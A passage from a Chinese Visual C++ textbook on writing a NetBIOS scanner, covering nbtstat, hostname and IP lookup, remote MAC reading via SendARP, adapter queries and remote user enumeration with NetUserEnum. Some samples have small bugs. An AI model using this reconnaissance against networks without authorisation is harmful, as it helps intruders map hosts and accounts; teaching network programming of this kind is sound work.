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图　4.4　nbtstat命令执行实例

上例是以指定IP的方式列出远端主机名字表。其中，三列的内容分别是：名称（Name）、类型（Type）和状态（Status）。

“名称”列列出来的是该主机上的“NetBIOS名称”。NetBIOS名称是由1～15个字符和一个十六进制的功能位（固定为第16的位置）组成，其中名称可以是字母、数字或“!@#$%^＆()-_'{}.～”符号，但不要是全数字，以避免和IP地址产生二义性。通常的名称主要有以下几种可能：
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名称的功能位固定为名称中的第16个字节位，该位表明了该NetBIOS名称的主要作用。其含义与作用如下所示：
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上面各种类型中，多次提到浏览服务（如浏览服务竞选、主浏览器浏览服务选择、主浏览器），这里的浏览器与当下Internet上广泛使用的浏览器（如Microsoft Internet Explorer等）不一样，后者表示的是一个上网工具，前者所表示的是NetBIOS通过名字服务向外界提示自己具有什么样的服务。

下面以常用的桌面“网上邻居”为例，说明这些服务的意义和差别。网上邻居“Network Neighborhood或My Network Places”，是使用计算机浏览服务（Computer Browser Service）根据计算机名称、工作群组（workgroup）或域（domain）等类型来访问其他计算机上的共享资源。在同一个网段的计算机中，如果每一台计算机各自管理网上所有其他计算机的资源，则既占用了该计算机自身的资源，且难以全网同步。为此，在NetBIOS协议的管理下，通常是选出一台计算机来提供集中式的共享资源列表（list of shared resources），被选出的这台计算机称为“主浏览器”（Master Browser），同一时刻，某个域中只能有一台主浏览器，主浏览器负责创造和维护网络共享资源列表，每当有一个非浏览器的计算机（Non-Browser）（通常不将其列为浏览器类型，只是为了和浏览器进行区分才这样命名）开机，该机会首先给主浏览器所在的主机发送一个登录请求，主浏览器主机在接到这个请求后，就自动把该非浏览器主机的信息加入到共享资源列表中，当判断到某一台主机关机后，就将该主机的信息从共享资源列表中删除。考虑到主浏览器主机也有可能关机或服务失效，在关机或失效期间，共享资源列表的管理将会出现真空。为了避免这种情况出现，就需要另一个浏览器“备浏览器”（Backup Browser）。在主浏览器工作期间，对共享资源列表的维护全由主浏览器来完成，但主浏览器会定时（通常是每15分钟）地将整个列表复制给备浏览器。为了安全起见，备浏览器的数目通常是整个域中所有主机数除以32后的向上取整，即每32台会有一台备浏览器，不足32台的部分同样占用另一台备浏览器。而实际应用中，情况比上述说明更为复杂，因为各种时刻的状态是一直动态变化的，例如，若备浏览器长期接不到主浏览器发来的共享资源列表，就会向全网发送一个“主浏览器竞选”（Master Browser Election）的请求，直到通过竞选规则选出一个新的主浏览器。

在一个网络中，除了主浏览器、备浏览器之外，还有以下浏览器：

❑潜在浏览器（Potential Browser）：可能成为主浏览器（如主浏览器关机，由备浏览器发出主浏览器竞选请求时），也有可能被主浏览器指定成为次要浏览器。

❑优先主浏览器（Preferred Master Browser）：当主浏览器因故障退出网络（如死机）时，备浏览器会向全网发送主浏览器竞选请求，优先主浏览器在请求中会占有比潜在浏览器更高的优先级。

❑域主浏览器（Domain Master Browser）：在一个域中，作为主域控制器（Primary Domain Controller，PDC）主机或PDC仿真器（PDC Emulator），同时也是主浏览器，其作用主要是和其他子网络或工作组中的主浏览器进行数据交换和通信。

网上邻居给用户访问网络带来很大方便，但由于NetBIOS协议设计时更多考虑的是网络中尽量小的数据通信量和尽量少的CPU使用率，因此也有很多不合理的地方。例如，某台主机刚开机时，会比较频繁地向主浏览器发送“已开机”的消息，一旦系统稳定后，为了减少整个网络中非用户数据间通信的信息量，该主机会减慢到每12分种才向主浏览器发送表示本机“仍在正常运行”的信息。而主浏览器则需要在连续3次（累计时长12×3=36分钟）没有接收到某台计算机发送仍然正常运行的信息时，才认为该主机已关机，这种严重的信息不同步有时会导致一些使用上的“误会”。如某台计算机在向主浏览器发送仍然正常运行后就关机了，而主浏览器需要等36分钟，即连续3次没有接到该机发送仍然正常运行的消息后，才确认该主机已关机，在共享资源列表中将该主机删除后通知其他的计算机，而在此期间的其他计算机，都可以通过各自的网上邻居看到该已关机的主机的状态是“仍在正常运行”，但在网上邻居中单击该主机的图标则会报错。

第二列是类型，类型主要有以下几种：
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第三列所表示的是状态，Registered表示已在主浏览器主机上注册成功。

再通过另一个命令来分析，在“命令提示符”窗口中输入"nbtstat-S"，结果如图4.5所示。
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图　4.5　nbtstat运行实例

其中，nbtstat生成的列标题具有以下含义：
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4.2　IP和主机名的互换

IP地址和主机名的互换并不属于NetBIOS功能，而是由Socket提供的，但从读取网络设备的属性这一点上来说，二者有很多相似之处，故放于此处。

实现IP和主机名的互换需要两个API函数和一个结构，两个函数分别是：

❑由主机名获得IP地址：



struct hostent FAR*gethostbyname(const char FAR*name);



❑由IP地址获得主机名：



struct HOSTENT FAR*gethostbyaddr(const char FAR*addr,int len,int type);



两个函数都涉及一个结构hostent（与HOSTENT等价），该结构第2章的2.1.1节已有说明，此处不再赘述。该结构中既包含了IP地址列表，也包含了主机名，所以相当于一个互换的中间数据格式，即二者的互换都是完成由IP或主机名到HOSTENT结构的转换。


 4.2.1　主机名转IP地址

由主机名获得IP地址，可调用gethostbyname，因为一台主机可能有多个IP地址，所以需要通过字符串列表的方式存储，如下例所示：



CString GetIPListByName(CString strHostname)

{

CStringArray saIPList;

struct hostent*pHost=gethostbyname(strHostname);

if(pHost==NULL)

{

//MessageBox("无法获得主机名出错","出错提示",MB_OK|MB_ICONERROR);

return saIPList;

}

int index=0;

while(pHost-＞h_addr_list[index]!=NULL)

{

saIPList.Add(inet_ntoa(*(struct in_addr*)pHost-＞h_addr_list[index])));

index++;

}

return saIPList;

}




4.2.2　IP地址转主机名

无论使用哪个IP地址，主机名只有一个。由IP地址转主机名的功能由gethostbyaddr函数获得（参见2.1.1.3节），如下例所示：



CString GetNameByIP(CString strIP)

{

CString strHostname;

in_addr inaddr;

inaddr.S_un.S_addr=inet_addr(strIP);

struct hostent*pHost=gethostbyaddr((char*)＆inaddr.S_un.S_addr,4,AF_INET);

strHostname.Format("%s",pHost-＞h_name);

return strHostname;

}




4.3　MAC地址的读取

通常情况下，IP地址可以方便地修改，几乎所有的操作系统都提供了本机IP地址的修改功能，但网卡的MAC（Media Access Control）地址并不那么好改。因此如果能读取网卡的MAC地址，特别是能读网络上主机的网卡MAC地址，对于防范IP欺骗有一定的作用。

MAC地址是用来定义网络设备的位置的一组标识，在OSI模型中，位于数据链路层，一个网卡具有一个全球独一无二的MAC地址。各个Ethernet网卡的生产厂商在生产网卡之前，首先要到美国电气及电子工程师学会（Institute of Electrical and Electronics Engineers，IEEE）申请一段网卡的MAC地址，然后在生产网卡时在每个网卡的EEPROM中写入一个所申请的唯一MAC地址。这样做，可以保证任何两个Ethernet网卡的MAC地址，不管是哪一个厂家生产的都不相同。在网络传输时，数据链路层协议会将MAC地址存在每个Ethernet包头中，Ethernet交换机根据Ethernet包头中的MAC源地址和MAC目的地址实现包的交换和传递。

MAC地址48位长（即6个字节），其中0～23位叫做组织唯一标志符（organizationally unique），是识别LAN（局域网）节点的标识；24～47位由厂家自己分配。其中第40位是组播地址标志位。在书写的时候，习惯上以6个两位大写十六进制数，并加以减号来表示。如"00-1C-25-9D-D9-B2"。

要读取本地的MAC地址，方法有很多，但读取对方的MAC地址，一般是使用SendARP函数，该函数通过发送ARP（Address Resolution Protocol，地址解析协议）请求获得指定IP地址的MAC物理地址。SendARP函数定义如下：



#define IPAddr UINT

DWORD SendARP(

IPAddr DestIP,//目的端IP地址

IPAddr SrcIP,//发送端IP地址

PULONG pMacAddr,//返回的MAC地址

PULONG PhyAddrLen//返回MAC地址的长度

);



返回值是一个DWORD类型的值，如果调用正确，则返回NO_ERROR；否则返回错误码。

参数如下：

❑DestIP：输入参数，表示的是目的端的IP地址，即要读取MAC地址的IP地址。

❑SrcIP：也是输入参数，表示发送端的IP地址，同时，SrcIP的内容不必强制为自身IP地址，而是通常填成0即可。

❑pMacAddr：输出参数，表示的是读取MAC地址后返回的缓冲区地址。

❑PhyAddrLen：也是输出参数，表示返回MAC地址的长度的指针，根据MAC地址是6个字节的定义，该值指向的ULONG变量总是6。

使用该函数需要注意如下几个地方：

❑DestIP和SrcIP的数据类型是一个不太常见的IPAddr类型，该类型可以理解为是一个四字节长度的无符号整数类型。相对于一个类似于"a.b.c.d"的IP地址串，IPAddr类型的四个字符由高到低分别存储的是"a～d"，即内存地址最高位存储的是a，最低位存储的是d。具体转换函数可以参阅前面2.2.5节“IP格式的互换”中的源程序。

❑该函数中pMacAddr是一个ULONG的指针类型，即该指针指向一个ULONG的地址。但实际上，ULONG是一个四字节长度的无符号整数类型，不足以保存6个字节的MAC地址。此时在实际应用中，应该使用一个实际长度大于6个字节的数组。

❑函数中，DestIP和SrcIP是输入参数，pMacAddr和PhyAddrLen是输出参数，同时，SrcIP的内容不必强制为自身IP地址，而是通常填成0。因此，实际使用该参数的时候，一般只考虑DestIP和pMacAddr参数即可。

❑该函数需要在Windows 2000/XP/2003/Vista及以后的版本中才能使用，之前版本如Windows 95/98/Me等不支持，并且该函数需要Microsoft Platform SDK的支持，只安装Microsoft Visual C++6.0是不够的。

下面代码即实现了根据IP地址读取MAC地址，并将读到的MAC地址插入到TreeCtrl控件当前位置的功能。



BOOL CNetBIOSScanerDlg::ReadMAC(CString strIP,HTREEITEM rtItem)

{

//获得MAC地址=======================

BOOL bConnectSuccess=FALSE;

CString strTemp;

UNIONIP unIPAddr;

unIPAddr.iInt=inet_addr(strIP);

UCHAR Mac[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};

PULONG pMac=(PULONG)Mac;

ULONG Len=6;

HRESULT hr=SendARP(unIPAddr.iInt,0,pMac,＆Len);

if(hr==0)

{

strTemp.Format("MAC地址：%02X-%02X-%02X-%02X-%02X-%02X",

Mac[0],Mac[1],Mac[2],Mac[3],Mac[4],Mac[5]);

m_ctlTreeResult.InsertItem(strTemp,2,3,rtItem);

bConnectSuccess=TRUE;

}

return bConnectSuccess;

}




4.4　本地域名、子网掩码、网卡类型的读取

通常情况下，读取本地域名、子网掩码、网卡的类型有很多种方式，最常见的方式主要是API函数读取、SNMP协议读取、注册表读取，后两种方式相对简单，故此处不再单列。

这些方法只能读取本地域名、子网掩码、网卡，因为如果对方跟自己不是同一个域名或子网，对方根本就无法进行通信，更谈不上进行读取。因此，凡是能读到的，肯定是同一个域名，或在一个子网中。

读取本地域名、子网掩码、网卡类型要用到GetNetworkParams函数和GetAdaptersInfo函数，其中GetNetworkParams函数的原型为：



DWORD GetNetworkParams(

PFIXED_INFO pFixedInfo,//指定一个FIXED_INFO结构

PULONG pOutBufLen//FIXED_INFO结构的字节数

);



返回值为一个DWORD的变量，主要有如下几种可能：
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参数如下：

❑pFixedInfo：输入参数，是一个指向FIXED_INFO结构的指针。如果函数调用成功，则返回ERROR_SUCCESS，同时将读到的网络参数返回到这个结构中。

❑pOutBufLen：输出参数，是一个指向ULONG变量的指针，该指针指向的ULONG变量表明了FIXED_INFO结构的长度，该变量的值如果太小，则会因为GetNetworkParams函数只填充给定长度的数据而导致读到的数据有错或不全。

在该函数的调用参数中，有一个FIXED_INFO结构，通过该结构的定义，可以知道GetNetworkParams函数都可以读出哪些网络参数。该结构的定义如下：



#define MAX_HOSTNAME_LEN 128

#define MAX_DOMAIN_NAME_LEN 128

#define MAX_SCOPE_ID_LEN 256

typedef struct{

char HostName[MAX_HOSTNAME_LEN+4];

char DomainName[MAX_DOMAIN_NAME_LEN+4];

PIP_ADDR_STRING CurrentDnsServer;

IP_ADDR_STRING DnsServerList;

UINT NodeType;

char ScopeId[MAX_SCOPE_ID_LEN+4];

UINT EnableRouting;

UINT EnableProxy;

UINT EnableDns;

}FIXED_INFO,*PFIXED_INFO;



其结构成员如下：

❑HostName：用来表示当前主机的主机名，该主机名即“NetBIOS名称”。

❑DomainName：用来表示当前主机已注册的域名。

❑CurrentDnsServer：指明当前的DNS服务器。该数据类型是一个PIP_ADDR_STRING指针类型，该指针指向IP_ADDR_STRING的结构。

❑DnsServerList：指向一个本地计算机使用的DNS服务器数组，数组采用的是一个链表式的结构，每一个成员的类型是IP_ADDR_STRING结构，其结构见下面说明。

❑NodeType：节点类型，指明当前节点的类型是否使用了DHCP协议（Dynamic Host Configuration Protocol），有如下几个选项：
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❑ScopeId：指明DHCP的SCOPE名称。

❑EnableRouting：用来表示当前主机是否允许路由，0表示不允许，1表示允许。

❑EnableProxy：用来表示当前主机是否允许ARP代理，0表示不允许，1表示允许。

❑EnableDns：用来表示当前主机是否允许DNS（域名服务），0表示不允许，1表示允许。

上述函数参数中，有一个IP_ADDR_STRING的结构类型，该结构采用的是一个链表形式，用来表示一个IPv4地址的链接列表，并且结构中采用了递归式的定义，其数据结构如下：



typedef struct_IP_ADDR_STRING{

struct_IP_ADDR_STRING*Next;

IP_ADDRESS_STRING IpAddress;

IP_MASK_STRING IpMask;

DWORD Context;

}IP_ADDR_STRING,*PIP_ADDR_STRING;



其结构成员如下：

❑Next：指向下一个IP_ADDR_STRING的列表，如果当前列表项已是链表的最后一个，则该值为NULL。

❑IpAddress：IP地址串，该串使用的是IP_ADDRESS_STRING结构，是用字符串表示的IPv4地址，这个结构的定义见下面说明。

❑IpMask：IP掩码串，该串使用的是IP_MASK_STRING结构，该串的结构与IP_ADDRESS_STRING结构相同，是用字符串表示的IPv4结构下的掩码地址。

❑Context：网络表入口NTE（Network Table Entry），该值是DWORD类型，对应于AddIPAddress函数和DeleteIPAddress函数的NTEContext参数。

在上述结构中，用到了IP_MASK_STRING结构和IP_ADDRESS_STRING结构，二者都用于表示IPv4格式下的IP地址或掩码地址。考虑到IPv4下，一个IP地址或掩码字符串最长为15个字节（例如“192.168.110.123”为15个字节，“10.0.0.5”为8个字节），加上一个表示字符串结束的标志位字符（‘\0’），一个地址最长为16个字节。所以该结构定义如下：



typedef struct{

char String[4*4];

}IP_ADDRESS_STRING,*PIP_ADDRESS_STRING,IP_MASK_STRING,*PIP_MASK_STRING;



解释了上述各结构后，回到最初提到的GetNetworkParams函数，这个看似很简单的函数，在使用的时候需要注意如下问题。

DWORD GetNetworkParams(PFIXED_INFO pFixedInfo,PULONG pOutBufLen)函数仅从函数的形式参数上来看，需要输入两个参数，前一个表示为一个FIXED_INFO的指针，后一个表示为前一参数指针指向的FIXED_INFO结构的长度，因此常常有人会将后者赋值为sizeof(FIXED_INFO)。这种隐蔽性较强的错误常常使许多程序读取出错，甚至直接导致异常退出。究其原因，主要是因为在FIXED_INFO结构中，有些变量表现为只是一个指针，而函数返回时，除了返回指针之外，还要返回指针指向的数据内容，但该指针在通过sizeof函数计算长度的时候，实际返回的长度超过了FIXED_INFO结构本身的长度，如果强行读取其中的内容，会读取出错，甚至导致程序因越界访问而出错。

解决这个问题的一个有效办法就是先预设长度值为sizeof(FIXED_INFO)，调用一次，如果返回结果正确则继续，如果返回结果是ERROR_BUFFER_OVERFLOW，则可以通过返回的pOutBufLen获得实际的长度，使用这个长度再次调用即可。

下面用一段代码来验证上述说法。代码中，先预设GetNetworkParams第一个参数的长度为sizeof(FIXED_INFO)，调用后，系统会判断实际的长度是否小于该值，如果小于该值，则会返回实际所需长度。比较预设值和实际所需值，就知道二者是否相同。运行效果如图4.6所示。



CString strErrMsg;

FIXED_INFO FixedInfo;

ULONG ulLen=sizeof(FIXED_INFO);

DWORD dwRet=GetNetworkParams(＆FixedInfo,＆ulLen);

strErrMsg.Format("FIXED_INFO结构长度：%d\r\n\r\n实际需要的长度：%d",

sizeof(FIXED_INFO),ulLen);

MessageBox(strErrMsg,"FIXED_INFO专项测试");
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图　4.6　FIXED_INFO结构长度测试

需要说明的是，正如上述的解释，该长度与实际的网络参数配置有关，即使是同一台计算机，网络参数配置变化了，长度也会发生改变（比如新增了一组IP地址和掩码，则长度也会增长），因此用上面一段代码，在用户自己的计算机上运行时，所显示的数值也会有所不同，当然，如果用户网络参数配置的DnsServerList列为空，则二者也会出现相等的情况。

该函数需要在Windows 2000/XP/2003/Vista及以后的版本中才能使用，之前版本如Windows 95/98/Me等不支持，并且该函数需要Microsoft Platform SDK的支持，只安装Microsoft Visual C++6.0是不够的。

除了此函数之外，还有一个重要的函数就是GetAdaptersInfo函数，该函数的原型为：



DWORD GetAdaptersInfo(

PIP_ADAPTER_INFO pAdapterInfo,//指定一个IP_ADAPTER_INFO的结构。

PULONG pOutBufLen//IP_ADAPTER_INFO结构的字节数。

);



返回值为一个DWORD的变量，其值与GetNetworkParams函数返回值相同。参数如下：

❑pAdapterInfo：输入函数，是一个指向IP_ADAPTER_INFO结构的指针。如果函数调用成功，则返回ERROR_SUCCESS，同时读到的网络参数将返回到这个结构中。

❑pOutBufLen：是一个指向ULONG变量的指针，该指针指向的ULONG变量表明了IP_ADAPTER_INFO结构的长度，该变量的值如果太小，则会因为GetAdaptersInfo函数只填充给定长度的数据而导致读到的数据有错或不全。

在该函数的调用参数中，有一个IP_ADAPTER_INFO结构，通过该结构的定义，可以知道GetAdaptersInfo函数都可以读出哪些网卡参数。该结构的定义如下：



#define MAX_ADAPTER_DESCRIPTION_LENGTH 128

#define MAX_ADAPTER_NAME_LENGTH 256

#define MAX_ADAPTER_ADDRESS_LENGTH 8

#define DEFAULT_MINIMUM_ENTITIES 32

#define MAX_HOSTNAME_LEN 128

#define MAX_DOMAIN_NAME_LEN 128

#define MAX_SCOPE_ID_LEN 256

typedef struct_IP_ADAPTER_INFO{

struct_IP_ADAPTER_INFO*Next;//指向下一个同样的结构

DWORD ComboIndex;//保留，未用

char AdapterName[MAX_ADAPTER_NAME_LENGTH+4];//网卡名称

char Description[MAX_ADAPTER_DESCRIPTION_LENGTH+4];//网卡描述

UINT AddressLength;//MAC地址的长度，通常为6

BYTE Address[MAX_ADAPTER_ADDRESS_LENGTH];//MAC地址数组

DWORD Index;//网卡索引

UINT Type;//网卡所用的协议类型

UINT DhcpEnabled;//是否使用了DHCP

PIP_ADDR_STRING CurrentIpAddress;//当前IP地址

IP_ADDR_STRING IpAddressList;//IP地址列表

IP_ADDR_STRING GatewayList;//网关地址列表

IP_ADDR_STRING DhcpServer;//DHCP服务

BOOL HaveWins;//是否使用WINS

IP_ADDR_STRING PrimaryWinsServer;//主WINS服务器

IP_ADDR_STRING SecondaryWinsServer;//备WINS服务器

time_t LeaseObtained;//认证获得时间

time_t LeaseExpires;//认证过期时间

}IP_ADAPTER_INFO,*PIP_ADAPTER_INFO;



该结构的结构成员如下：

❑Next：由于该主机当前网卡（包括由纯软件虚拟的网卡）可能有多个，并且个数不确定，所以采用的是链表形式，并且由链表的上一项的Next参数指向下一个项，如果当前项是链表的最后一项，则Next的值为NULL。

❑ComboIndex：该项暂时保留，未使用。

❑AdapterName：网卡名称，以字符串的形式表示。

❑Description：该网卡的描述，以字符串的形式表示。

❑AddressLength：网卡MAC地址的长度，该值通常固定为6。

❑Address：网卡MAC地址，该地址是一个8字节数值缓冲区，但通常只使用前6个。

❑Index：网卡的索引号。

❑Type:：网卡的类型，有如下选项：
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❑DhcpEnabled：指明该网卡是否采用了DHCP（Dynamic Host Configuration Protocol）动态获得IP的方式，0表示未采用，1表示采用。

❑CurrentIpAddress：该网卡的IP地址列表，这是一个链表形式。

❑IpAddressList：指明该网卡当前的IP地址。

❑GatewayList：指明该网卡当前的网关地址。

❑DhcpServer：指明该网卡当前的DHCP服务器地址。

❑HaveWins：是否使用了WINS（Windows Internet Name Service）服务。

❑PrimaryWinsServer：主WINS服务器地址。

❑SecondaryWinsServer：次WINS服务器地址。

❑LeaseObtained：从DHCP服务器获得IP的时间。

❑LeaseExpires：从DHCP服务器获得的该IP到期的时间。

上述函数参数中，IP_ADDR_STRING结构在前面GetNetworkParams函数中已有详细的说明，此处不再重复。同时，该函数也有几个需要注意的地方，主要也是IP_ADAPTER_INFO结构长度调用的问题，以及该函数在操作系统中的版本问题。


4.5　用户名、共享目录、组列表的读取

通过对NetBIOS封装后的API，还可以读取到远端的用户名列表、共享目录、组列表、主机时间、服务支持类型列表等参数。


 4.5.1　Unicode编程与ANSI之间的互换

绝大多数情况下，VC++的编译器都能自动地、很好地处理各编码之间的关系，但在有些应用中，明确规定必须使用某一种编码。如果不知道二者之间的转换，则很容易显示出乱码，或者显示不出值。

在扫描器的编程时，绝大多数函数的参数中，字符串使用ANSI（American NationalStandards Institute，美国国家标准学会）标准，即由字符组成，后由一个NULL（‘\0’）字符组成的一个字符数组。但也有一些函数参数中，特别是与NetBIOS相关的函数中，明确要求字符串必须使用Unicode（又称宽字符，wide-character）字符串。因此，二者之间的互换不可避免。下面介绍几个具有此功能的函数。

4.5.1.1　MultiByteToWideChar函数

实现一般的ANSI字符串转换为Unicode字符串，需要通过MultiByteToWideChar函数实现，其结构如下所示：



int MultiByteToWideChar(

UINT CodePage,//代码页

DWORD dwFlags,//字符类型选项

LPCSTR lpMultiByteStr,//ANSI字符串缓冲区

int cbMultiByte,//ANSI字符串的个数

LPWSTR lpWideCharStr,//宽字符串缓冲区

int cchWideChar//Unicode字符串的个数

);



返回值：如果函数返回成功，并且cchWideChar的实际长度不是零，则返回值是lpWideCharStr中的字符个数。如果函数返回成功，并且cchWideChar的实际长度是0，则返回值是要完成转换所需要的宽字符长度。如果函数返回失败，则返回值为0，要获得出错的进一步解释，可以调用GetLastError函数读取，一般是下列各值之一：
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参数如下：

❑CodePage：转换时要使用的代码页，代码页是指安装在操作系统的字符集。这些代码页可以使用的值有：
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❑dwFlags：处理转换时的一些参数，这些值可以是以下各值的合理组合：
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在上述解释中，有一个“组合字符”的概念，组合字符由一个基础字符和一个非空格字符构成，例如在字符"e"中，e就是基础字符，而重音符标记就是非空格字符。

❑lpMultiByteStr：要转换的字符串。

❑cbMultiByte：lpMultiByteStr所指向的字符串的长度，以字节为单位。如果此值是-1，则表示为NULL字符串。

❑lpWideCharStr：转换后的字符串缓冲区。

❑cchWideChar：返回字符串缓冲区lpWideCharStr的长度。如果此值是0，则函数返回实际所需要的长度，需要说明的是这里的长度是按Unicode字符串的长度计算的。

4.5.1.2　WideCharToMultiByte函数

实现一般的Unicode字符串转换为ANSI字符串，需要通过WideCharToMultiByte函数实现，其结构如下：



int WideCharToMultiByte(

UINT CodePage,//代码页

DWORD dwFlags,//字符类型选项

LPCWSTR lpWideCharStr,//宽字符串缓冲区

int cchWideChar,//Unicode字符串的个数

LPSTR lpMultiByteStr,//ANSI字符串缓冲区

int cbMultiByte,//ANSI字符串的个数

LPCSTR lpDefaultChar,//当遇到非代码页字符时的默认字符

LPBOOL lpUsedDefaultChar//是否使用默认字符

);



返回值：如果函数返回成功，并且cbMultiByte的实际长度不是零，则返回值是lpMultiByteStr中的字符个数（包括结束符‘\0’）。如果函数返回成功，并且cbMultiByte的实际长度是0，则返回值是要完成转换所需要的字符长度。如果函数返回失败，则返回值为0。要获得出错的进一步解释，可以调用GetLastError函数读取，其值与MultiByteToWideChar函数类似，只是缺少ERROR_NO_UNICODE_TRANSLATION项。

参数如下：

❑CodePage：与MultiByteToWideChar函数类似。

❑dwFlags：处理转换时的一些参数，这些值可以是以下各值的合理组合：
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组合字符由一个基础字符和一个非空格字符构成，例如在字符"e"中，e就是基础字符，而重音符标记就是非空格字符。如果选择了WC_COMPOSITECHECK，则会转换组合字符为预组合字符。每个组合字符有不同的值，而预组合字符则有唯一的值。选择WC_COMPOSITECHECK的同时，通常也要选择WC_DISCARDNS、WC_SEPCHARS和WC_DEFAULTCHAR。

❑lpWideCharStr：要转换后的字符串缓冲区。

❑cchWideChar：返回字符串缓冲区lpWideCharStr的长度。如果此值是-1，则表示为NULL字符串。

❑lpMultiByteStr：要转换的字符串。

❑cbMultiByte：lpMultiByteStr所指向的字符串的长度，以字节为单位。如果此值是0，则函数返回实际所需要的长度，此时lpMultiByteStr则不再使用。

❑lpDefaultChar：默认字符指针，当要转换的字符在所选的代码页里没有，则转换成默认的字符。如果该参数为NULL，则将使用系统默认的字符。

❑lpUsedDefaultChar：标志位，用于表示默认字符是否使用。TRUE表示使用，FALSE或NULL表示不使用。


4.5.2　用户名列表的读取

读取用户名需要用到函数NetUserEnum，该函数既可以读取本地的用户名列表，也可以读取其他主机上的用户名列表，该函数早期用于数据共享时，默认用户的读取，但却更多地被黑客用于进行用户名和密码的破解，因此它是目前最具争议的函数之一。其结构如下：



NET_API_STATUS NetUserEnum(

LPCWSTR servername,//远端主机名

DWORD level,//读取的级别

DWORD filter,//过滤

LPBYTE*bufptr,//缓冲区指针

DWORD prefmaxlen,//缓冲区最大长度

LPDWORD entriesread,//要读的用户个数

LPDWORD totalentries,//总长度

LPDWORD resume_handle//句柄

);



返回值：一个NET_API_STATUS类型的变量，该变量等价于DWORD类型，是一个4字节的无符号整数。如果函数调用成功，则返回NERR_Success；否则返回其他值，返回值主要有如下几种可能：
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参数如下：

❑servername：要读取用户名列表的远端主机名。需要注意的是，该主机名字符串必须是基于Unicode格式，如果读取远端主机名，则必须在主机名前加上“\\”符号；如果读取本地主机，则该值为NULL。

❑level：读取用户的级别。每个用户有多项参数，需求不一样，则对这些参数的要求范围也不一样，由于这些信息需要在网上传输，所以一般来说，根据自己的需要，可以选择合适的读取范围即可，如下所示：
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❑filter：在读取用户名列表的时候，可以设定过滤条件，该值可以为下列值：
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❑bufptr：指向一个缓冲区。函数调用成功时，会将读取的数据指针赋予此值，通过该值可以读取返回的结构。具体返回结构是哪一个，可以参见Level项。该函数的调用不像前面所介绍的GetNetworkParams函数，需要在调用之前，预设好返回的缓冲区，该函数不需要预设缓冲区，但在调用后，会通过该指针传出。当然这种由函数申请的系统级内存需要在用完的时候，通过调用NetApiBufferFree释放掉，这一点需要特别注意，即使是调用的时候，系统返回“数据不足（ERROR_MORE_DATA）”错误，也要及时释放掉。

❑prefmaxlen：指明前者bufptr指向的缓冲区的最大长度，以字节为单位。如设定为MAX_PREFERRED_LENGTH，则函数自动按所需大小申请内存；如果不是该值，则可以限制返回的字节数。如果缓冲区大小不足以保存所有数据，则返回ERROR_MORE_DATA。

❑entriesread：指向一个DWORD值，该值表示读到的用户个数。

❑totalentries：指向一个DWORD值，该值表示从当前位置开始的所有用户的个数。

❑resume_handle：指向一个DWORD值，该值包括被过滤掉的用户，为NULL时表示没有被过滤掉的用户。

虽然在Windows 95/98/Me中也有用户的概念，但其用户名和密码只是用来保存私有数据，而不是操作系统级别上、权限认证意义上的用户。比如，Windows 95/98在系统登录界面时，输入正确的用户名和密码即可以使用该用户之前保存的上网密码等信息，而如果按"Esc"键取消，则系统仍然会进入桌面，只是不能使用其它用户保存的私有信息。很显然，这种用户和Windows NT/2000/XP及以后各操作系统中的用户不是一个概念，因此该函数在Windows 95/98/Me下无法使用。在Windows NT/2000/XP及以后版本，用户可以分别使用USER_INFO_0～USER_INFO_3、USER_INFO_10、USER_INFO_11、USER_INFO_20～USER_INFO_22、USER_INFO_1003、USER_INFO_1005～USER_INFO_1014、USER_INFO_1017、USER_INFO_1018、USER_INFO_1020、USER_INFO_1023～USER_INFO_1025、USER_INFO_1051～USER_INFO_1053等多达29个结构，通过不同的结构，可以读取不同级别的用户信息属性，但无论是哪一种，所读到的用户个数和顺序都是一样的，只是显示的内容项数据有不同的组合。下面选择其中最常用的几种依次说明。

4.5.2.1　USER_INFO_0结构



typedef struct_USER_INFO_0{

LPWSTR usri0_name;//用户名字符串

}USER_INFO_0,*PUSER_INFO_0,*LPUSER_INFO_0;



很显然，该功能只能读到用户名。

结构成员：usri0_name，读到的Unicode字符串表示的用户名字符串，并以字符串方式显示，该字符串最大长度为256个字节。

4.5.2.2　USER_INFO_1结构



typedef struct_USER_INFO_1{

LPWSTR usri1_name;//用户名字符串

LPWSTR usri1_password;//密码字符串

DWORD usri1_password_age;//密码过期时间

DWORD usri1_priv;

LPWSTR usri1_home_dir;

LPWSTR usri1_comment;

DWORD usri1_flags;

LPWSTR usri1_script_path;

}USER_INFO_1,*PUSER_INFO_1,*LPUSER_INFO_1;



结构成员如下：

❑usri1_name：参见USER_INFO_0结构中usri0_name成员的解释。

❑usri1_password：读到的Unicode字符串表示的用户名useri1_name所对应用户的密码字符串，并以字符串方式显示，该字符串最大长度为256个字节，但根据Windows NT/2000等的限制，实际上的密码长度只有14个字节。该属性其实只是为了结构上与用户结构的兼容，实际上，为了安全考虑，每次读取必然返回的都是一个空串（NULL）。

❑usri1_password_age：指向一个DWORD值，该值表示的是用户的密码，即usri1_password项自上一次修改以来的秒数。

❑usri1_priv：指向一个DWORD值，该值表示的是usri1_name用户的权限级别，该值可以是如下几种可能：
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❑usri1_home_dir：用户的主目录页（home directory），该值是一个指向Unicode字符串的指针，该字符串包含usri1_name用户的主目录，该值可以为空。

❑usri1_comment：用户注释，该值是一个指向Unicode字符串的指针，该字符串包含有usri1_name用户的描述，该字符串的长度没有限制。

❑usri1_flags：指向一个DWORD无符号整数，该值可能是下列各值组合：
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NetUserEnum函数主要是完成对用户的读取，如果要设置用户，则需要通过NetUserSetInfo函数实现。本书没有设置用户的操作，所以本处并不打算对NetUserSetInfo函数进行介绍，只是在用NetUserSetInfo函数设置的情况下，usri1_flags参数的可取值除了上面所列各项之外，还可以使用下述各值：
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❑usri1_script_path：用户描述的路径，该参数指向一个Unicode串，该串表示一个使用登录脚本文件的全路径名，该脚本文件可以是".CMD"、".EXE"或".BAT"文件，也允许为空（NULL）。

4.5.2.3　USER_INFO_2结构



typedef struct_USER_INFO_2{

LPWSTR usri2_name;

LPWSTR usri2_password;

DWORD usri2_password_age;

DWORD usri2_priv;

LPWSTR usri2_home_dir;

LPWSTR usri2_comment;

DWORD usri2_flags;

LPWSTR usri2_script_path;

DWORD usri2_auth_flags;

LPWSTR usri2_full_name;

LPWSTR usri2_usr_comment;

LPWSTR usri2_parms;

LPWSTR usri2_workstations;

DWORD usri2_last_logon;

DWORD usri2_last_logoff;

DWORD usri2_acct_expires;

DWORD usri2_max_storage;

DWORD usri2_units_per_week;

PBYTE usri2_logon_hours;

DWORD usri2_bad_pw_count;

DWORD usri2_num_logons;

LPWSTR usri2_logon_server;

